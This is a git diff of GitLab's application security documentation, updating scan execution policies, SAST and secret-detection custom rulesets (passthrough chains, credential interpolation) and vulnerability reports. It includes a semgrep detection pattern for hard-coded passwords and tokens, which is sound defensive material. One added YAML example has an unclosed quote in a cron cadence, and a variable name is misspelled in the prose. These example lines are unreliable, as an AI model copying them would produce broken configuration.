| [Coverage fuzzing](coverage_fuzzing/index.md) | Find unknown bugs and vulnerabilities with coverage-guided fuzzing. |
| [Cluster Image Scanning](cluster_image_scanning/index.md) | Scan Kubernetes clusters for known vulnerabilities. |
diff --git a/doc/user/application_security/policies/img/security_policy_project_v14_3.png b/doc/user/application_security/policies/img/security_policy_project_v14_3.png
deleted file mode 100644
index 5e3aefaeb81..00000000000
--- a/doc/user/application_security/policies/img/security_policy_project_v14_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/policies/img/security_policy_project_v14_6.png b/doc/user/application_security/policies/img/security_policy_project_v14_6.png
new file mode 100644
index 00000000000..feea1b1b01c
--- /dev/null
+++ b/doc/user/application_security/policies/img/security_policy_project_v14_6.png
Binary files differ
diff --git a/doc/user/application_security/policies/index.md b/doc/user/application_security/policies/index.md
index 4d8be411dc5..e6dbd96537f 100644
--- a/doc/user/application_security/policies/index.md
+++ b/doc/user/application_security/policies/index.md
@@ -159,8 +159,8 @@ at the bottom of the editor.
You can use policy alerts to track your policy's impact. Alerts are only available if you've
[installed](../../clusters/agent/repository.md)
-and [configured](../../clusters/agent/install/index.md#create-an-agent-record-in-gitlab)
-a Kubernetes Agent for this project.
+and [configured](../../clusters/agent/install/index.md#register-an-agent-with-gitlab)
+an agent for this project.
There are two ways to create policy alerts:
@@ -228,7 +228,13 @@ must create an association between that project and the project you want to appl
project you would like to link from the dropdown menu.
1. Select **Save**.
- ![Security Policy Project](img/security_policy_project_v14_3.png)
+ ![Security Policy Project](img/security_policy_project_v14_6.png)
+
+### Unlink Security Policy projects
+
+Project owners can unlink Security Policy projects from development projects. To do this, follow
+the steps described in [Security Policy project selection](#security-policy-project-selection),
+but select the trash can icon in the modal.
### Scan Execution Policy editor
@@ -237,9 +243,9 @@ Only project Owners have the [permissions](../../permissions.md#project-members-
to select Security Policy Project.
Once your policy is complete, save it by selecting **Create merge request**
-at the bottom of the editor. You will be redirected to the merge request on the project's
+at the bottom of the editor. You are redirected to the merge request on the project's
configured security policy project. If one does not link to your project, a security
-policy project will be automatically created. Existing policies can also be
+policy project is automatically created. Existing policies can also be
removed from the editor interface by selecting **Delete policy**
at the bottom of the editor.
@@ -287,7 +293,7 @@ This rule enforces the defined actions and schedules a scan on the provided date
| `type` | `string` | `schedule` | The rule's type. |
| `branches` | `array` of `string` | `*` or the branch's name | The branch the given policy applies to (supports wildcard). |
| `cadence` | `string` | CRON expression (for example, `0 0 * * *`) | A whitespace-separated string containing five fields that represents the scheduled time. |
-| `clusters` | `object` | | The cluster where the given policy will enforce running selected scans (only for `container_scanning`/`cluster_image_scanning` scans). The key of the object is the name of the Kubernetes cluster configured for your project in GitLab. In the optionally provided value of the object, you can precisely select Kubernetes resources that will be scanned. |
+| `clusters` | `object` | | The cluster where the given policy enforces running selected scans (only for `container_scanning`/`cluster_image_scanning` scans). The key of the object is the name of the Kubernetes cluster configured for your project in GitLab. In the optionally provided value of the object, you can precisely select Kubernetes resources that are scanned. |
#### `cluster` schema
@@ -295,10 +301,10 @@ Use this schema to define `clusters` objects in the [`schedule` rule type](#sche
| Field | Type | Possible values | Description |
|--------------|---------------------|--------------------------|-------------|
-| `containers` | `array` of `string` | | The container name that will be scanned (only the first value is currently supported). |
-| `resources` | `array` of `string` | | The resource name that will be scanned (only the first value is currently supported). |
-| `namespaces` | `array` of `string` | | The namespace that will be scanned (only the first value is currently supported). |
-| `kinds` | `array` of `string` | `deployment`/`daemonset` | The resource kind that should be scanned (only the first value is currently supported). |
+| `containers` | `array` of `string` | | The container name to be scanned (only the first value is currently supported). |
+| `resources` | `array` of `string` | | The resource name to be scanned (only the first value is currently supported). |
+| `namespaces` | `array` of `string` | | The namespace to be scanned (only the first value is currently supported). |
+| `kinds` | `array` of `string` | `deployment`/`daemonset` | The resource kind to be scanned (only the first value is currently supported). |
### `scan` action type
@@ -307,9 +313,10 @@ rule in the defined policy are met.
| Field | Type | Possible values | Description |
|-------|------|-----------------|-------------|
-| `scan` | `string` | `dast`, `secret_detection` | The action's type. |
+| `scan` | `string` | `dast`, `secret_detection`, `sast`, `container_scanning`, `cluster_image_scanning` | The action's type. |
| `site_profile` | `string` | Name of the selected [DAST site profile](../dast/index.md#site-profile). | The DAST site profile to execute the DAST scan. This field should only be set if `scan` type is `dast`. |
| `scanner_profile` | `string` or `null` | Name of the selected [DAST scanner profile](../dast/index.md#scanner-profile). | The DAST scanner profile to execute the DAST scan. This field should only be set if `scan` type is `dast`.|
+| `variables` | `object` | | Set of variables applied and enforced for the selected scan. The object's key is the variable name with a value provided as a string. |
Note the following:
@@ -327,9 +334,10 @@ Note the following:
- A secret detection scan runs in `normal` mode when executed as part of a pipeline, and in
[`historic`](../secret_detection/index.md#full-history-secret-detection)
mode when executed as part of a scheduled scan.
-- A container scanning and cluster image scanning scans configured for the `pipeline` rule type will ignore the cluster defined in the `clusters` object.
- They will use predefined CI/CD variables defined for your project. Cluster selection with the `clusters` object is supported for the `schedule` rule type.
+- A container scanning and cluster image scanning scans configured for the `pipeline` rule type ignores the cluster defined in the `clusters` object.
+ They use predefined CI/CD variables defined for your project. Cluster selection with the `clusters` object is supported for the `schedule` rule type.
Cluster with name provided in `clusters` object must be created and configured for the project. To be able to successfully perform the `container_scanning`/`cluster_image_scanning` scans for the cluster you must follow instructions for the [Cluster Image Scanning feature](../cluster_image_scanning/index.md#prerequisites).
+- The SAST scan uses the default template and runs in a [child pipeline](../../../ci/pipelines/parent_child_pipelines.md).
### Example security policies project
@@ -357,7 +365,7 @@ scan_execution_policy:
- type: schedule
branches:
- main
- cadence: */10 * * * *
+ cadence: "*/10 * * * *"
actions:
- scan: dast
scanner_profile: Scanner Profile C
@@ -372,13 +380,16 @@ scan_execution_policy:
- main
actions:
- scan: secret_detection
+ - scan: sast
+ variables:
+ SAST_EXCLUDED_ANALYZERS: brakeman
- scan: container_scanning
- name: Enforce Cluster Image Scanning on production-cluster every 24h
description: This policy enforces Cluster Image Scanning scan to run every 24 hours
enabled: true
rules:
- type: schedule
- cadence: '15 3 * * *'
+ cadence: "15 3 * * *
clusters:
production-cluster:
containers:
@@ -399,7 +410,8 @@ In this example:
`release/v1.2.1`), DAST scans run with `Scanner Profile A` and `Site Profile B`.
- DAST and secret detection scans run every 10 minutes. The DAST scan runs with `Scanner Profile C`
and `Site Profile D`.
-- Secret detection and container scanning scans run for every pipeline executed on the `main` branch.
+- Secret detection, container scanning, and SAST scans run for every pipeline executed on the `main`
+ branch. The SAST scan runs with the `SAST_EXCLUDED_ANALYZER` variable set to `"brakeman"`.
- Cluster Image Scanning scan runs every 24h. The scan runs on the `production-cluster` cluster and fetches vulnerabilities
from the container with the name `database` configured for deployment with the name `production-application` in the `production-namespace` namespace.
diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md
index 06c57e68121..8c7e03f69fd 100644
--- a/doc/user/application_security/sast/analyzers.md
+++ b/doc/user/application_security/sast/analyzers.md
@@ -59,7 +59,7 @@ support the following features:
## Official default analyzers
Any custom change to the official analyzers can be achieved by using a
-[CI/CD variable in your `.gitlab-ci.yml`](index.md#customizing-the-sast-settings).
+[CI/CD variable in your `.gitlab-ci.yml`](index.md#available-cicd-variables).
### Using a custom Docker mirror
diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md
index af8585c6a18..fd05ecad8f2 100644
--- a/doc/user/application_security/sast/index.md
+++ b/doc/user/application_security/sast/index.md
@@ -144,7 +144,7 @@ as shown in the following table:
| Capability | In Free | In Ultimate |
|:---------------------------------------------------------------------------------------|:--------------------|:-------------------|
| [Configure SAST Scanners](#configuration) | **{check-circle}** | **{check-circle}** |
-| [Customize SAST Settings](#customizing-the-sast-settings) | **{check-circle}** | **{check-circle}** |
+| [Customize SAST Settings](#available-cicd-variables) | **{check-circle}** | **{check-circle}** |
| View [JSON Report](#reports-json-format) | **{check-circle}** | **{check-circle}** |
| Presentation of JSON Report in Merge Request | **{dotted-circle}** | **{check-circle}** |
| [Address vulnerabilities](../../application_security/vulnerabilities/index.md) | **{dotted-circle}** | **{check-circle}** |
@@ -184,7 +184,7 @@ The included template creates SAST jobs in your CI/CD pipeline and scans
your project's source code for possible vulnerabilities.
The results are saved as a
-[SAST report artifact](../../../ci/yaml/index.md#artifactsreportssast)
+[SAST report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportssast)
that you can later download and analyze. Due to implementation limitations, we
always take the latest SAST artifact available.
@@ -242,25 +242,6 @@ The configuration tool works best with no existing `.gitlab-ci.yml` file, or wit
configuration file. If you have a complex GitLab configuration file it may not be parsed
successfully, and an error may occur.
-### Customizing the SAST settings
-
-The SAST settings can be changed through [CI/CD variables](#available-cicd-variables)
-by using the
-[`variables`](../../../ci/yaml/index.md#variables) parameter in `.gitlab-ci.yml`.
-In the following example, we include the SAST template and at the same time we
-set the `SAST_GOSEC_LEVEL` variable to `2`:
-
-```yaml
-include:
- - template: Security/SAST.gitlab-ci.yml
-
-variables:
- SAST_GOSEC_LEVEL: 2
-```
-
-Because the template is [evaluated before](../../../ci/yaml/index.md#include)
-the pipeline configuration, the last mention of the variable takes precedence.
-
### Overriding SAST jobs
WARNING:
@@ -305,16 +286,16 @@ spotbugs-sast:
### Customize rulesets **(ULTIMATE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235382) in GitLab 13.5.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235382) in GitLab 13.5.
+> - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/339614) support for
+> passthrough chains. Expanded to include additional passthrough types of `file`, `git`, and `url` in GitLab 14.6.
You can customize the default scanning rules provided by our SAST analyzers.
+Ruleset customization supports two capabilities that can be used
+simultaneously:
-Ruleset customization supports two capabilities:
-
-1. Disabling predefined rules (available for all analyzers).
-1. Modifying the default behavior of a given analyzer (only available for `nodejs-scan` and `gosec`).
-
-These capabilities can be used simultaneously.
+- [Disabling predefined rules](index.md#disable-predefined-analyzer-rules). Available for all analyzers.
+- Modifying the default behavior of a given analyzer by [synthesizing and passing a custom configuration](index.md#synthesize-a-custom-configuration). Available for only `nodejs-scan`, `gosec`, and `semgrep`.
To customize the default scanning rules, create a file containing custom rules. These rules
are passed through to the analyzer's underlying scanner tools.
@@ -323,81 +304,303 @@ To create a custom ruleset:
1. Create a `.gitlab` directory at the root of your project, if one doesn't already exist.
1. Create a custom ruleset file named `sast-ruleset.toml` in the `.gitlab` directory.
-1. In the `sast-ruleset.toml` file, do one of the following:
-
- - Disable predefined rules belonging to SAST analyzers. In this example, the three disabled rules
- belong to `eslint` and `sobelow` by matching the corresponding identifiers' `type` and `value`:
-
- ```toml
- [eslint]
- [[eslint.ruleset]]
- disable = true
- [eslint.ruleset.identifier]
- type = "eslint_rule_id"
- value = "security/detect-object-injection"
-
- [[eslint.ruleset]]
- disable = true
- [eslint.ruleset.identifier]
- type = "cwe"
- value = "185"
-
- [sobelow]
- [[sobelow.ruleset]]
- disable = true
- [sobelow.ruleset.identifier]
- type = "sobelow_rule_id"
- value = "sql_injection"
- ```
-
- - Define a custom analyzer configuration. In this example, customized rules are defined for the
- `nodejs-scan` scanner:
-
- ```toml
- [nodejs-scan]
- description = 'custom ruleset for nodejs-scan'
-
- [[nodejs-scan.passthrough]]
- type = "raw"
- value = '''
- - nodejs-extensions:
- - .js
-
- template-extensions:
- - .new
- - .hbs
- - ''
-
- ignore-filenames:
- - skip.js
-
- ignore-paths:
- - __MACOSX
- - skip_dir
- - node_modules
-
- ignore-extensions:
- - .hbs
-
- ignore-rules:
- - regex_injection_dos
- - pug_jade_template
- - express_xss
-
- '''
- ```
-
- - Provide the name of the file containing a custom analyzer configuration. In this example,
- customized rules for the `gosec` scanner are contained in the file `gosec-config.json`:
-
- ```toml
- [gosec]
- description = 'custom ruleset for gosec'
-
- [[gosec.passthrough]]
- type = "file"
- value = "gosec-config.json"
- ```
+
+#### Disable predefined analyzer rules
+
+To disable analyzer rules:
+
+1. Set the `disabled` flag to `true` in the context of a `ruleset` section
+
+1. In one or more `ruleset.identifier` sub sections, list the rules that you want disabled. Every `ruleset.identifier` section has:
+
+- a `type` field, to name the predefined rule identifier that the targeted analyzer uses.
+
+- a `value` field, to name the rule to be disabled.
+
+##### Example: Disable predefined rules of SAST analyzers
+
+In the following example, the disabled rules are assigned to `eslint`
+and `sobelow` by matching the `type` and `value` of identifiers:
+
+```toml
+[eslint]
+ [[eslint.ruleset]]
+ disable = true
+ [eslint.ruleset.identifier]
+ type = "eslint_rule_id"
+ value = "security/detect-object-injection"
+
+ [[eslint.ruleset]]
+ disable = true
+ [eslint.ruleset.identifier]
+ type = "cwe"
+ value = "185"
+
+[sobelow]
+ [[sobelow.ruleset]]
+ disable = true
+ [sobelow.ruleset.identifier]
+ type = "sobelow_rule_id"
+ value = "sql_injection"
+```
+
+#### Synthesize a custom configuration
+
+To create a custom configuration, you can use passthrough chains.
+
+A passthrough is a single step in a passthrough chain. The passthrough is evaluated
+in a sequence to incrementally build a configuration. The configuration is then
+passed to the target analyzer.
+
+A configuration section for an analyzer has the following
+parameters:
+
+| Parameter | Explanation |
+| ------------- | ------ |
+| `description` | Description about the analyzer configuration section. |
+| `targetdir` | The `targetdir` parameter defines the directory where the final configuration is located. If `targetdir` is empty, the analyzer uses a random directory. The maximum size of `targetdir` is 100MB. |
+| `validate` | If set to `true`, the target files for passthroughs (`raw`, `file` and `url`) are validated. The validation works for `yaml`, `xml`, `json` and `toml` files. The proper validator is identified based on the extension of the target file. By default, `validate` is set to `false`. |
+| `interpolate` | If set to `true`, environment variable interpolation is enabled so that the configuration uses secrets/tokens. We advise using this feature with caution to not leak any secrets. By default, `interpolate` is set to `false`. |
+| `timeout` | The total `timeout` for the evaluation of a passthrough chain is set to 60 seconds. If `timeout` is not set, the default timeout is 60 seconds. The timeout cannot exceed 300 seconds. |
+
+A configuration section can include one or more passthrough sections. The maximum number of passthrough sections is 20.
+There are several types of passthroughs:
+
+| Type | Description |
+| ------ | ------ |
+| `file` | Use a file that is already available in the Git repository. |
+| `raw` | Provide the configuration inline. |
+| `git` | Pull the configuration from a remote Git repository. |
+| `url` | Fetch the analyzer configuration through HTTP. |
+
+If multiple passthrough sections are defined in a passthrough chain, their
+position in the chain defines the order in which they are evaluated.
+
+- Passthroughs listed later in the chain sequence have a higher precedence.
+- Passthroughs with a higher precedence overwrite (default) and append data
+ yielded by previous passthroughs. This is useful for cases where you need to
+ use or modify an existing configuration.
+
+Configure a passthrough these parameters:
+
+| Parameter | Explanation |
+| ------------ | ----------- |
+| `type` | One of `file`, `raw`, `git` or `url`. |
+| `target` | The target file that contains the data written by the passthrough evaluation. If no value is provided, a random target file is generated. |
+| `mode` | `overwrite`: if `target` exists, overwrites the file; `append`: append to file instead. The default is `overwrite`. |
+| `ref` | This option only applies to the `git` passthrough type and contains the name of the branch or the SHA to be used. |
+| `subdir` | This option only applies to the `git` passthrough type and can be used to only consider a certain subdirectory of the source Git repository. |
+| `value` | For the `file` `url` and `git` types, `value` defines the source location of the file/Git repository; for the `raw` type, `value` carries the raw content to be passed through. |
+| `validator` | Can be used to explicitly invoke validators (`xml`, `yaml`, `json`, `toml`) on the target files after the application of a passthrough. Per default, no validator is set. |
+
+The amount of data generated by a single passthrough is limited to 1MB.
+
+#### Passthrough configuration examples
+
+##### Raw passthrough for nodejs-scan
+
+Define a custom analyzer configuration. In this example, customized rules are
+defined for the `nodejs-scan` scanner:
+
+```toml
+[nodejs-scan]
+ description = 'custom ruleset for nodejs-scan'
+
+ [[nodejs-scan.passthrough]]
+ type = "raw"
+ value = '''
+- nodejs-extensions:
+ - .js
+
+ template-extensions:
+ - .new
+ - .hbs
+ - ''
+
+ ignore-filenames:
+- skip.js
+
+ ignore-paths:
+ - __MACOSX
+ - skip_dir
+ - node_modules
+
+ ignore-extensions:
+ - .hbs
+
+ ignore-rules:
+ - regex_injection_dos
+ - pug_jade_template
+ - express_xss
+
+'''
+```
+
+##### File passthrough for gosec
+
+Provide the name of the file containing a custom analyzer configuration. In
+this example, customized rules for the `gosec` scanner are contained in the
+file `gosec-config.json`:
+
+```toml
+[gosec]
+ description = 'custom ruleset for gosec'
+
+ [[gosec.passthrough]]
+ type = "file"
+ value = "gosec-config.json"
+```
+
+##### Passthrough chain for semgrep
+
+In the below example, we generate a custom configuration under the `/sgrules`
+target directory with a total `timeout` of 60 seconds.
+
+Several passthrouh types generate a configuration for the target analyzer:
+
+- Two `git` passthrough sections pull the head of branch
+ `refs/remotes/origin/test` from the `myrules` Git repository, and revision
+ `97f7686` from the `sast-rules` Git repostory. From the `sast-rules` Git
+ repository, only data from the `go` subdirectory is considered.
+ - The `sast-rules` entry has a higher precedence because it appears later in
+ the configuration.
+ - If there is a filename collision between files in both repositories, files
+ from the `sast` repository overwrite files from the `myrules` repository,
+ as `sast-rules` has higher precedence.
+- The `raw` entry creates a file named `insecure.yml` under `/sgrules`. The
+ full path is `/sgrules/insecure.yml`.
+- The `url` entry fetches a configuration made available through a URL and
+ stores it in the `/sgrules/gosec.yml` file.
+
+Afterwards, semgrep is invoked with the final configuration located under
+`/sgrules`.
+
+```toml
+[semgrep]
+ description = 'semgrep custom rules configuration'
+ targetdir = "/sgrules"
+ timeout = 60
+
+ [[semgrep.passthrough]]
+ type = "git"
+ value = "https://gitlab.com/user/myrules.git"
+ ref = "refs/remotes/origin/test"
+
+ [[semgrep.passthrough]]
+ type = "git"
+ value = "https://gitlab.com/gitlab-org/secure/gsoc-sast-vulnerability-rules/playground/sast-rules.git"
+ ref = "97f7686db058e2141c0806a477c1e04835c4f395"
+ subdir = "go"
+
+ [[semgrep.passthrough]]
+ type = "raw"
+ target = "insecure.yml"
+ value = """
+rules:
+- id: "insecure"
+ patterns:
+ - pattern: "func insecure() {...}"
+ message: |
+ Insecure function insecure detected
+ metadata:
+ cwe: "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor"
+ severity: "ERROR"
+ languages:
+ - "go"
+ """
+
+ [[semgrep.passthrough]]
+ type = "url"
+ value = "https://semgrep.dev/c/p/gosec"
+ target = "gosec.yml"
+```
+
+##### Interpolation
+
+The code snippet below shows an example configuration that uses an environment
+variable `$GITURL` to access a private repositories with a Git URL. The variable contains
+a username and token in the `value` field (for example `https://user:token@url`).
+It does not explicitly store credentials in the configuration file. To reduce the risk of leaking secrets through created paths and files, use this feature with caution.
+
+```toml
+[semgrep]
+ description = 'semgrep custom rules configuration'
+ targetdir = "/sgrules"
+ interpolate = true
+
+ [[semgrep.passthrough]]
+ type = "git"
+ value = "$GITURL"
+ ref = "refs/remotes/origin/main"
+```
+
+##### Configure the append mode for passthroughs
+
+To append data to previous passthroughs, use the `append` mode for the
+passthrough types `file`, `url`, and `raw`.
+
+Passthroughs in `override` mode overwrite files
+created when preceding passthroughs in the chain find a naming
+collision. If `mode` is set to `append`, a passthrough appends data to the
+files created by its predecessors instead of overwriting.
+
+In the below semgrep configuration,`/sgrules/insecure.yml` assembles two passthroughs. The rules are:
+
+- `insecure`
+- `secret`
+
+These rules add a search pattern to the analyzer and extends semgrep capabilities.
+
+For passthrough chains we recommend that you enable validation. To enable validation,
+you can either:
+
+- set `validate` to `true`
+
+- set a passthrough `validator` to `xml`, `json`, `yaml`, or `toml`.
+
+```toml
+[semgrep]
+ description = 'semgrep custom rules configuration'
+ targetdir = "/sgrules"
+ validate = true
+
+ [[semgrep.passthrough]]
+ type = "raw"
+ target = "insecure.yml"
+ value = """
+rules:
+- id: "insecure"
+ patterns:
+ - pattern: "func insecure() {...}"
+ message: |
+ Insecure function insecure detected
+ metadata:
+ cwe: "...
+ severity: "ERROR"
+ languages:
+ - "go"
+"""
+
+ [[semgrep.passthrough]]
+ type = "raw"
+ mode = "append"
+ target = "insecure.yml"
+ value = """
+- id: "secret"
+ patterns:
+ - pattern-either:
+ - pattern: "$MASK = \"...\""
+ - metavariable-regex:
+ metavariable: "$MASK"
+ regex: "(password|pass|passwd|pwd|secret|token)"
+ message: |
+ Use of Hard-coded Password
+ cwe: "..."
+ severity: "ERROR"
+ languages:
+ - "go"
+"""
+```
### False Positive Detection **(ULTIMATE)**
@@ -483,7 +686,20 @@ can use `MAVEN_REPO_PATH`. See
### Available CI/CD variables
-SAST can be [configured](#customizing-the-sast-settings) using CI/CD variables.
+SAST can be configured using the [`variables`](../../../ci/yaml/index.md#variables) parameter in
+`.gitlab-ci.yml`.
+
+The following example includes the SAST template to override the `SAST_GOSEC_LEVEL`
+variable to `2`. The template is [evaluated before](../../../ci/yaml/index.md#include) the pipeline
+configuration, so the last mention of the variable takes precedence.
+
+```yaml
+include:
+ - template: Security/SAST.gitlab-ci.yml
+
+variables:
+ SAST_GOSEC_LEVEL: 2
+```
#### Logging level
diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md
index 140f660d729..b5e54e35e58 100644
--- a/doc/user/application_security/secret_detection/index.md
+++ b/doc/user/application_security/secret_detection/index.md
@@ -34,33 +34,8 @@ GitLab displays identified secrets visibly in a few places:
## Supported secrets
Secret Detection detects a variety of common secrets by default. You can also customize the secret detection patterns using [custom rulesets](#custom-rulesets).
-
-The [default ruleset provided by TruffleHog and Gitleaks](https://gitlab.com/gitlab-org/security-products/analyzers/secrets/-/blob/master/gitleaks.toml) includes the following key types:
-
-- Cloud services:
- - Amazon Web Services (AWS)
- - Google Cloud Platform (GCP)
- - Heroku API
-- Encryption keys:
- - PKCS8
- - RSA
- - SSH
- - PGP
- - DSA
- - EC
-- Social media platforms:
- - Facebook API
- - Twitter API
-- Cloud SaaS vendors:
- - GitHub API
- - Shopify API
- - Slack Token
- - Slack Webhook
- - Stripe API
- - Twilio API
- - Generic API key strings starting with `api-`
-- Password in URL
-- U.S. Social Security Number
+The [default ruleset](https://gitlab.com/gitlab-org/security-products/analyzers/secrets/-/blob/master/gitleaks.toml) includes **90+ secret detection patterns**.
+You can contribute "well-identifiable" secrets by follow the steps detailed in the [community contributions guidelines](https://gitlab.com/gitlab-org/gitlab/-/issues/345453).
WARNING:
Gitleaks does not support scanning binary files.
@@ -134,7 +109,7 @@ The included template creates Secret Detection jobs in your CI/CD pipeline and s
your project's source code for secrets.
The results are saved as a
-[Secret Detection report artifact](../../../ci/yaml/index.md#artifactsreportssecret_detection)
+[Secret Detection report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportssecret_detection)
that you can later download and analyze. Due to implementation limitations, we
always take the latest Secret Detection artifact available.
@@ -148,10 +123,10 @@ from the Security Configuration page.
1. In the project where you want to enable Secret Detection, go to
**Security & Compliance > Configuration**.
-1. In the **Secret Detection** row, select **Configure via Merge Request**.
+1. In the **Secret Detection** row, select **Configure with a merge request**.
This automatically creates a merge request with the changes necessary to enable Secret Detection
-that you can review and merge to complete the configuration.
+that you can review and merge to complete the configuration.
NOTE:
The configuration tool works best with no existing `.gitlab-ci.yml` file, or with a minimal
@@ -210,10 +185,12 @@ Secret Detection can be customized by defining available CI/CD variables:
### Custom rulesets **(ULTIMATE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211387) in GitLab 13.5.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211387) in GitLab 13.5.
+> - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/339614) support for
+> passthrough chains. Expanded to include additional passthrough types of `file`, `git`, and `url` in GitLab 14.6.
You can customize the default secret detection rules provided with GitLab.
-Customization allows replace the default secret detection rules with rules that you define.
+Customization allows replacing the default secret detection rules with rules that you define.
To create a custom ruleset:
@@ -251,6 +228,9 @@ To create a custom ruleset:
value = "config/gitleaks.toml"
```
+Passthroughs can also be chained to build more complex configurations.
+For more details, see [SAST Customize ruleset section](../sast/index.md#customize-rulesets).
+
### Logging level
To control the verbosity of logs set the `SECURE_LOG_LEVEL` CI/CD variable. Messages of this logging level or higher are output. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1.
diff --git a/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v14_4.png b/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v14_4.png
index ac123d2b528..ad9122ee23c 100644
--- a/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v14_4.png
+++ b/doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v14_4.png
Binary files differ
diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md
index 87875ec15ba..5afbe1ca54e 100644
--- a/doc/user/application_security/security_dashboard/index.md
+++ b/doc/user/application_security/security_dashboard/index.md
@@ -7,6 +7,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# GitLab Security Dashboards and Security Center **(ULTIMATE)**
+INFO:
+Want to try out security scanning?
+[Try GitLab Ultimate free for 30 days](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=u-security-dashboard-docs).
+
GitLab provides a comprehensive set of features for viewing and managing vulnerabilities:
- Security dashboards: An overview of the security status in your personal [Security Center](#security-center), [groups](#group-security-dashboard), and
diff --git a/doc/user/application_security/vulnerability_report/img/operational_vulnerability_tab_v14_6.png b/doc/user/application_security/vulnerability_report/img/operational_vulnerability_tab_v14_6.png
new file mode 100644
index 00000000000..52a298584dd
--- /dev/null
+++ b/doc/user/application_security/vulnerability_report/img/operational_vulnerability_tab_v14_6.png
Binary files differ
diff --git a/doc/user/application_security/vulnerability_report/index.md b/doc/user/application_security/vulnerability_report/index.md
index d13647937a2..3773bb59c5a 100644
--- a/doc/user/application_security/vulnerability_report/index.md
+++ b/doc/user/application_security/vulnerability_report/index.md
@@ -7,8 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Vulnerability Report **(ULTIMATE)**
-The Vulnerability Report provides information about vulnerabilities from scans of the branch most
-recently merged into the default branch. It is available for groups, projects, and the Security Center.
+The Vulnerability Report provides information about vulnerabilities from scans of the default branch. It is available for projects, groups, and the Security Center.
At all levels, the Vulnerability Report contains:
@@ -215,3 +214,12 @@ You can dismiss a vulnerability for the entire project:
1. Optional. Add a reason for the dismissal and select **Save comment**.
To undo this action, select a different status from the same menu.
+
+## Operational vulnerabilities
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/6345) in GitLab 14.6.
+
+The **Operational vulnerabilities** tab lists vulnerabilities found by the `cluster_image_scanner`.
+This tab appears on the project, group, and Security Center vulnerability reports.
+
+![Operational Vulnerability Tab](img/operational_vulnerability_tab_v14_6.png)
diff --git a/doc/user/asciidoc.md b/doc/user/asciidoc.md
index cd166666ad6..da75c008ed1 100644
--- a/doc/user/asciidoc.md
+++ b/doc/user/asciidoc.md
@@ -492,10 +492,13 @@ image::screenshot.png[block image,800,450]
Press image:reload.svg[reload,16,opts=interactive] to reload the page.
video::movie.mp4[width=640,start=60,end=140,options=autoplay]
+```
-video::aHjpOzsQ9YI[youtube]
+GitLab does not support embedding YouTube and Vimeo videos in AsciiDoc content.
+Use a standard AsciiDoc link:
-video::300817511[vimeo]
+```plaintext
+https://www.youtube.com/watch?v=BlaZ65-b7y0[Link text for the video]
```
### Breaks
diff --git a/doc/user/award_emojis.md b/doc/user/award_emojis.md
index 88651688779..e4fcdcd4653 100644
--- a/doc/user/award_emojis.md
+++ b/doc/user/award_emojis.md
@@ -10,7 +10,7 @@ When you're collaborating online, you get fewer opportunities for high-fives
and thumbs-ups. Emoji can be awarded to [issues](project/issues/index.md), [merge requests](project/merge_requests/index.md),
[snippets](snippets.md), and anywhere you can have a thread.
-![Award emoji](img/award_emoji_select.png)
+![Award emoji](img/award_emoji_select_v14_6.png)
Award emoji make it much easier to give and receive feedback without a long
comment thread.
@@ -34,11 +34,9 @@ downvotes.
Award emoji can also be applied to individual comments when you want to
celebrate an accomplishment or agree with an opinion.
-To:
+To add an award emoji:
-- Add an award emoji, click the smile in the top right of the comment and pick an emoji from the dropdown.
-- Remove an award emoji, click the emoji again.
+1. In the top right of the comment, select the smile (**{slight-smile}**).
+1. Select an emoji from the dropdown list.
-![Picking an emoji for a comment](img/award_emoji_comment_picker.png)
-
-![An award emoji has been applied to a comment](img/award_emoji_comment_awarded.png)
+To remove an award emoji, select the emoji again.
diff --git a/doc/user/clusters/agent/ci_cd_tunnel.md b/doc/user/clusters/agent/ci_cd_tunnel.md
index 0dfdb37dc1f..93768164df2 100644
--- a/doc/user/clusters/agent/ci_cd_tunnel.md
+++ b/doc/user/clusters/agent/ci_cd_tunnel.md
@@ -19,11 +19,11 @@ Only CI/CD jobs set in the configuration project can access one of the configure
## Prerequisites
-- A running [`kas` instance](install/index.md#set-up-the-kubernetes-agent-server).
-- A [configuration repository](install/index.md#define-a-configuration-repository) with an Agent config file
+- A running [`kas` instance](install/index.md#set-up-the-agent-server).
+- A [configuration repository](install/index.md#define-a-configuration-repository) with an agent config file
installed (`.gitlab/agents/<agent-name>/config.yaml`).
-- An [Agent record](install/index.md#create-an-agent-record-in-gitlab).
-- The Agent [installed in the cluster](install/index.md#install-the-agent-into-the-cluster).
+- A [registered agent](install/index.md#register-an-agent-with-gitlab).
+- The agent [installed in the cluster](install/index.md#install-the-agent-into-the-cluster).
## Use the CI/CD Tunnel to run Kubernetes commands from GitLab CI/CD
diff --git a/doc/user/clusters/agent/index.md b/doc/user/clusters/agent/index.md
index 80b9f3f17f5..c950a4f0dc0 100644
--- a/doc/user/clusters/agent/index.md
+++ b/doc/user/clusters/agent/index.md
@@ -4,19 +4,24 @@ group: Configure
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab Kubernetes Agent **(FREE)**
+# GitLab Agent for Kubernetes **(FREE)**
